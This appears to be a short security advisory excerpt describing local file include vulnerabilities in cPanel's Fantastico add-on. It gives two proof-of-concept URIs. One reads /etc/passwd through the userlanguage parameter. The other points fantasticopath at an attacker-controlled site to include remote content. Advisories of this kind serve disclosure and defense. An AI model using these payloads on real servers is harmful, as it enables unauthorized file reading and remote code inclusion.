• info
• discussion
• exploit
• solution
• references

cPanel Multiple Local File Include Vulnerabilities

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://example.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/etc/passwd
http://example.com:2082/frontend/x/fantastico/includes/mysqlconfig.php?fantasticopath=attacker site